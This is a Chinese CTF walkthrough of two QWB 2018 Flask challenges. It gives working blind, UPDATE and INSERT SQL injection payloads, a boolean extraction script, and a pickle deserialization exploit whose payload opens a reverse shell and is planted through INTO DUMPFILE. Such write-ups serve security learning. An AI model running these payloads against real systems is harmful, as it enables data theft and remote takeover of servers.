本文纯属抄袭,如有改动,纯属手残。
原writeup见:
http://skysec.top/2018/04/01/Python-is-the-best-language/#%E6%BA%90%E7%A0%81%E7%BB%93%E6%9E%84
https://xz.aliyun.com/t/2219#toc-1
https://lorexxar.cn/2018/03/26/qwb2018/#python-is-best-language
环境搭建
1 | pip install Flask |
创建数据库1
CREATE DATABASE `flask` DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci;
修改config.py
中数据库账号密码,然后运行python db_create.py
1
SQLALCHEMY_DATABASE_URI = "mysql://root:密码@127.0.0.1/flask?charset=utf8"
修改run.py
后运行python run.py
1
2
3from app import app
if __name__ == "__main__":
app.run(host='0.0.0.0',port=30003)
Python is the best language1
第一题是sql注入,重点关注以下文件1
2
3
4forms.py 用于表单登录,注册等
models.py 放置操作数据库的代码
others.py mysql操作语句等函数
routes.py 路由文件
注入点一
看看routes.py
中注册代码1
2
3
4
5
6
7
8
9
10
11
12
def register():
if current_user.is_authenticated:
return redirect(url_for('index'))
form = RegistrationForm()
if form.validate_on_submit():
res = mysql.Add("user", ["NULL", "'%s'" % form.username.data, "'%s'" % form.email.data,
"'%s'" % generate_password_hash(form.password.data), "''", "'%s'" % now()])
if res == 1:
flash('Congratulations, you are now a registered user!')
return redirect(url_for('login'))
return render_template('register.html', title='Register', form=form)
forms.py
中注册的部分1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19class RegistrationForm(FlaskForm):
username = StringField('Username', validators=[DataRequired()])
email = StringField('Email', validators=[DataRequired(), Email()])
password = PasswordField('Password', validators=[DataRequired()])
password2 = PasswordField(
'Repeat Password', validators=[DataRequired(), EqualTo('password')])
submit = SubmitField('Register')
def validate_username(self, username):
if re.match("^[a-zA-Z0-9_]+$", username.data) == None:
raise ValidationError('username has invalid charactor!')
user = mysql.One("user", {"username": "'%s'" % username.data}, ["id"])
if user != 0:
raise ValidationError('Please use a different username.')
def validate_email(self, email):
user = mysql.One("user", {"email": "'%s'" % email.data}, ["id"])
if user != 0:
raise ValidationError('Please use a different email address.')
validate_username
在进行mysql.One
前进行了正则匹配的过滤和审核,而validate_email
仅仅通过validators=[DataRequired(), Email()]
来匹配。
Email()
的关键源码如下:1
super(Email, self).__init__(r'^.+@([^.@][^@]+)$', re.IGNORECASE, message)
其正则规则为^.+@([^.@][^@]+)$
,也就是说对email而言,即使提交如'"#a@qq.com
包含单引号,双引号,注释符等敏感字符的形式也是能通过的。
转到others.py
中mysql.One()
1
2
3
4
5
6
7
8
9def One(self, tablename, where={}, feildname=["*"], order="", where_symbols="=", l="and"):
sql = self.Sel(tablename, where, feildname, order, where_symbols, l)
try:
res = self.db_session.execute(sql).fetchone()
if res == None:
return 0
return res
except:
return -1
跟入Sel()
1
2
3
4
5
6
7
8
9
10def Sel(self, tablename, where={}, feildname=["*"], order="", where_symbols="=", l="and"):
sql = "select "
sql += "".join(i + "," for i in feildname)[:-1] + " "
sql += "from " + tablename + " "
if where != {}:
sql += "where " + "".join(i + " " + where_symbols + " " +
str(where[i]) + " " + l + " " for i in where)[:-4]
if order != "":
sql += "order by " + "".join(i + "," for i in order)[:-1]
return sql
最后拼接出来的sql语句如下:1
select id from user where email = 'your input email'
重新看一下validate_email
1
2
3
4def validate_email(self, email):
user = mysql.One("user", {"email": "'%s'" % email.data}, ["id"])
if user != 0:
raise ValidationError('Please use a different email address.')
数据库语言返回成功,会提示Please use a different email address.
1
kira'/**/or/**/1=1#@qq.com
提示:Please use a different email address.
1 | kira'/**/or/**/1=0#@qq.com |
什么都没返回
布尔注入脚本:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35import requests
from bs4 import BeautifulSoup
url = "http://127.0.0.1:30003/register"
r = requests.get(url)
soup = BeautifulSoup(r.text,"html5lib")
token = soup.find_all(id='csrf_token')[0].get("value")
result = ""
database = "(SELECT/**/GROUP_CONCAT(schema_name)/**/FROM/**/INFORMATION_SCHEMA.SCHEMATA)"
tables = "(SELECT/**/GROUP_CONCAT(table_name/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/INFORMATION_SCHEMA.TABLES/**/WHERE/**/TABLE_SCHEMA=DATABASE())"
columns = "(SELECT/**/GROUP_CONCAT(column_name/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/INFORMATION_SCHEMA.COLUMNS/**/WHERE/**/TABLE_NAME=0x666c616161616167)"
flag = "(SELECT/**/GROUP_CONCAT(flllllag/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/flaaaaag)"
for i in range(1,100):
for j in range(32,127):
payload = "test'/**/or/**/ascii(substr("+ flag +",%d,1))=%d#@qq.com" % (i,j)
print payload
post_data = {
'csrf_token': token,
'username': 'a',
'email':payload,
'password':'a',
'password2':'a',
'submit':'Register'
}
r = requests.post(url,data=post_data)
soup = BeautifulSoup(r.text,"html5lib")
token = soup.find_all(id='csrf_token')[0].get("value")
if "Please use a different email address." in r.text:
result += chr(j)
print result
break
注入点二
看看routes.py
中修改profile代码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def edit_profile():
form = EditProfileForm(current_user.username)
if form.validate_on_submit():
current_user.username = form.username.data
current_user.note = form.note.data
res = mysql.Mod("user", {"id": current_user.id}, {
"username": "'%s'" % current_user.username, "note": "'%s'" % current_user.note})
if res != 0:
flash('Your changes have been saved.')
return redirect(url_for('edit_profile'))
elif request.method == 'GET':
form.username.data = current_user.username
form.note.data = current_user.note
return render_template('edit_profile.html', title='Edit Profile',
form=form)
forms.py
中修改profile的部分1
2
3def validate_note(self, note):
if re.match("^[a-zA-Z0-9_\'\(\) \.\_\*\`\-\@\=\+\>\<]*$", note.data) == None:
raise ValidationError("Don't input invalid charactors!")
validate_note
大部分敏感字符都没过滤
跟进Mod函数1
2
3
4
5
6
7
8
9
10
11
12def Mod(self, tablemame, where, values):
sql = "update " + tablemame + " "
sql += "set " + \
"".join(i + "=" + str(values[i]) + "," for i in values)[:-1] + " "
sql += "where " + \
"".join(i + "=" + str(where[i]) + " and " for i in where)[:-4]
try:
self.db_session.execute(sql)
self.db_session.commit()
return 1
except:
return 0
最后拼接出来的sql语句如下:1
update user set username='kira',note='your input note' where id=1
测试如下:1
123' and (select flllllag like binary 0x3125 from flaaaaag) and '1'='1
About me那里显示0
1 | 123' and (select flllllag like binary 0x5125 from flaaaaag) and '1'='1 |
About me那里显示1
1 | import re |
注入点三
看看routes.py
中post内容的部分1
2
3
4
5
6
7
8
9
10
11
def index():
form = PostForm()
if form.validate_on_submit():
res = mysql.Add("post", ['NULL', "'%s'" % form.post.data,
"'%s'" % current_user.id, "'%s'" % now()])
if res == 1:
flash('Your post is now live!')
return redirect(url_for('index'))
forms.py
中PostForm()
的部分1
2
3class PostForm(FlaskForm):
post = StringField('Say something', validators=[DataRequired()])
submit = SubmitField('Submit')
啥过滤都没!1
2
3
4
5
6
7
8
9
10
11def Add(self, tablename, values):
sql = "insert into " + tablename + " "
sql += "values ("
sql += "".join(i + "," for i in values)[:-1]
sql += ")"
try:
self.db_session.execute(sql)
self.db_session.commit()
return 1
except:
return 0
最后拼接出来的sql语句如下:1
insert into post values (NULL,'yout input','1','2018-04-15')
构造payload:1
123','1','2018-04-15'),(NULL,(select flllllag from flaaaaag),'1','2018-04-15')#
flag出来了,问题是所有人都可以看到的,比赛中直接翻就能看到其他人注出来的flag,所以在注入时候需要加密一下。
这里可以使用mysql的ENCODE(string,pass),DECODE(string,pass)
函数1
2
3
4
5
6
7
8
9
10
11
12
13 select hex(encode((select flllllag from flaaaaag),'kirakira'));
+------------------------------------------------------------+
| hex(encode((select flllllag from flaaaaag),'kirakira')) |
+------------------------------------------------------------+
| 2240079E2A0C151347EF73F32460B6728EB6CDB1DBD8CE227801003C3F |
+------------------------------------------------------------+
select decode(unhex('2240079E2A0C151347EF73F32460B6728EB6CDB1DBD8CE227801003C3F'),'kirakira');
+----------------------------------------------------------------------------------------+
| decode(unhex('2240079E2A0C151347EF73F32460B6728EB6CDB1DBD8CE227801003C3F'),'kirakira') |
+----------------------------------------------------------------------------------------+
| QWB{us1ng_val1dator_caut1ous} |
+----------------------------------------------------------------------------------------+
Python is the best language2
接着下一题,在others.py
里发现了奇怪的代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37from pickle import Unpickler as Unpkler
from pickle import *
black_type_list = [eval, execfile, compile, system, open, file, popen, popen2, popen3, popen4, fdopen,
tmpfile, fchmod, fchown, pipe, chdir, fchdir, chroot, chmod, chown, link,
lchown, listdir, lstat, mkfifo, mknod, mkdir, makedirs, readlink, remove, removedirs,
rename, renames, rmdir, tempnam, tmpnam, unlink, walk, execl, execle, execlp, execv,
execve, execvp, execvpe, exit, fork, forkpty, kill, nice, spawnl, spawnle, spawnlp, spawnlpe,
spawnv, spawnve, spawnvp, spawnvpe, load, loads]
class FilterException(Exception):
def __init__(self, value):
super(FilterException, self).__init__(
'the callable object {value} is not allowed'.format(value=str(value)))
def _hook_call(func):
def wrapper(*args, **kwargs):
print args[0].stack
if args[0].stack[-2] in black_type_list:
raise FilterException(args[0].stack[-2])
return func(*args, **kwargs)
return wrapper
def load(file):
unpkler = Unpkler(file)
unpkler.dispatch[REDUCE] = _hook_call(unpkler.dispatch[REDUCE])
return Unpkler(file).load()
def loads(str):
file = StringIO(str)
unpkler = Unpkler(file)
unpkler.dispatch[REDUCE] = _hook_call(unpkler.dispatch[REDUCE])
return unpkler.load()
这里存在反序列化漏洞以及基本的沙箱逃逸问题。
pickle序列化
Python提供两个模块来实现序列化:cPickle
和pickle
。这两个模块功能是一样的,区别在于cPickle
是C语言写的,速度快,pickle
是纯Python写的,速度慢。
pickle
模块提供的相关函数1
2
3
4
5
6
7
8
9
10
11# 将指定的Python对象通过pickle序列化作为bytes对象返回,而不是将其写入文件
dumps(obj, protocol=None, *, fix_imports=True)
# 将通过pickle序列化后得到的字节对象进行反序列化,转换为Python对象并返回
loads(bytes_object, *, fix_imports=True, encoding="ASCII", errors="strict")
# 将指定的Python对象通过pickle序列化后写入打开的文件对象中,等价于`Pickler(file, protocol).dump(obj)`
dump(obj, file, protocol=None, *, fix_imports=True)
# 从打开的文件对象中读取pickled对象表现形式并返回通过pickle反序列化后得到的Python对象
load(file, *, fix_imports=True, encoding="ASCII", errors="strict")
说明: 上面这几个方法参数中,*号后面的参数都是Python 3.x新增的,目的是为了兼容Python 2.x,具体用法请参看官方文档。
基本使用方法:1
2
3
4
5
6
7import pickle
P = pickle.Pickler(file) #pickle.dump(object, file)
P.dump(object)
U = pickle.Unpickler(file) #pickle.load(file)
object = U.load()
pickle反序列化漏洞
python的反序列化漏洞关键在于reduce 魔术方法,在反序列化的时候会完全改变被序列化的对象。这个方法返回一个字符串或者元组来描述当反序列化的时候该如何重构,进而造成命令执行。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18import os
import pickle
class test(object):
def __reduce__(self):
return (os.system,("id",))
t = test()
f1 = open('p_test','wb')
p = pickle.Pickler(f1)
p.dump(t) #p = pickle.dump(t, f1)
f1.close()
f2 = open('p_test','rb')
u = pickle.Unpickler(f2)
u.load() #u = pickle.load(f2)
f2.close()
运行效果:1
2
3 kira @ Ubuntu in ~/py_web [11:24:46]
python p_test.py
uid=1000(kira) gid=1000(kira) groups=1000(kira),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),111(lxd),115(lpadmin),116(sambashare)
题目分析
现在重新看看load(file)
和loads(str)
两个函数,是带有过滤的反序列化,一个用于操作文件,一个用于操作字符串。
搜索一下,看看代码里面哪里用到这个两个函数,发现在Mycache.py
有这个类。1
class FileSystemCache(BaseCache)
而用到这个类的代码都在Mysession.py
这个类,都是对session操作1
class FileSystemSessionInterface(SessionInterface)
重点留意下open_session()
和save_session()
,这是反序列化常见套路。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19def open_session(self, app, request):
sid = request.cookies.get(app.session_cookie_name)
if not sid:
sid = self._generate_sid()
return self.session_class(sid=sid, permanent=self.permanent)
if self.use_signer:
signer = self._get_signer(app)
if signer is None:
return None
try:
sid_as_bytes = signer.unsign(sid)
sid = sid_as_bytes.decode()
except BadSignature:
sid = self._generate_sid()
return self.session_class(sid=sid, permanent=self.permanent)
data = self.cache.get(self.key_prefix + sid)
if data is not None:
return self.session_class(data, sid=sid)
return self.session_class(sid=sid, permanent=self.permanent)
留意open_session()
中调用了self.cache.get(self.key_prefix + sid)
,跟进之1
2
3
4
5
6
7
8
9
10
11
12
13def get(self, key): # key = self.key_prefix + sid
filename = self._get_filename(key)
try:
with open(filename, 'rb') as f:
pickle_time = load(f) #可能存在反序列化
if pickle_time == 0 or pickle_time >= time():
a = load(f) #可能存在反序列化
return a
else:
os.remove(filename)
return None
except (IOError, OSError, PickleError):
return None
get
中两处地方出现load()
,十分可疑。filename = self._get_filename(key)
跟进之。1
2
3
4
5def _get_filename(self, key):
if isinstance(key, text_type):
key = key.encode('utf-8') # XXX unicode review
hash = md5(key).hexdigest()
return os.path.join(self._path, hash)
可见filename
就是md5(self.key_prefix + sid)
,查看代码可发现:1
2key_prefix="bdwsessions"
sid = request.cookies.get(app.session_cookie_name)
查看页面的cookie:1
2sid = ca823fed-c8b9-450c-8ec9-fc7626ce8326
md5("bdwsessionsca823fed-c8b9-450c-8ec9-fc7626ce8326") = 7d6e204846c11a84ab0bc317eab14411
session存在目录在config.py
中就记录,本地验证一下,果然存在。1
2
3 kira @ Ubuntu in ~ [14:24:00] C:1
ll /tmp/ffff |grep 7d6e204846c11a84ab0bc317eab14411
-rw-rw---- 1 kira kira 254 Apr 15 14:19 7d6e204846c11a84ab0bc317eab14411
攻击思路
- 本地生成序列化session文件
- 跟进session文件名规则计算出文件名
- 利用mysql的注入,将文件写入/tmp/ffff目录
- 访问index的时,修改自己的session为之前我们定义的值
- 触发
open_session
中的self.cache.get
,进行反序列化攻击
源码还设置了沙箱/黑名单来防止某些函数的执行,首先需要绕过黑名单,观察一下,还有以下不在黑名单中:1
2
3subprocess.Popen
subprocess.call
commands
本地监听端口,测试反弹shell1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19import os
import pickle
import commands
class test(object):
def __reduce__(self):
return (commands.getoutput,("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",9394));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'",))
t = test()
f1 = open('p_test','wb')
p = pickle.Pickler(f1)
p.dump(t) #p = pickle.dump(t, f1)
f1.close()
f2 = open('p_test','rb')
u = pickle.Unpickler(f2)
u.load() #u = pickle.load(f2)
f2.close()
为了后续注入,将session内容进行hex编码1
2f2 = open('p_test','rb')
print f2.read().encode('hex')
新的session文件随便修改一下之前的sid1
md5("bdwsessionsca823fed-c8b9-450c-8ec9-fc7626ceffff") = d9e836cec5ab2c715fd4050fdc26bd4b
注入点就用上面提到Email的注入点,构造payload:1
select id from user where email = '123'/**/union/**/select/**/0x63636f6d6d616e64730a6765746f75747075740a70300a285327707974686f6e202d63205c27696d706f727420736f636b65742c73756270726f636573732c6f733b733d736f636b65742e736f636b657428736f636b65742e41465f494e45542c736f636b65742e534f434b5f53545245414d293b732e636f6e6e6563742828223132372e302e302e31222c3933393429293b6f732e6475703228732e66696c656e6f28292c30293b206f732e6475703228732e66696c656e6f28292c31293b206f732e6475703228732e66696c656e6f28292c32293b703d73756270726f636573732e63616c6c285b222f62696e2f7368222c222d69225d293b5c27270a70310a7470320a5270330a2e/**/into/**/dumpfile/**/'/tmp/ffff/d9e836cec5ab2c715fd4050fdc26bd4b'#@qq.com'
邮箱地址填入以上payload,点击submit后出现Please use a different email address.
即可。
接着在burp中抓取访问index的包,并修改session为ca823fed-c8b9-450c-8ec9-fc7626ceffff
,在自己的vps上监听对应的端口。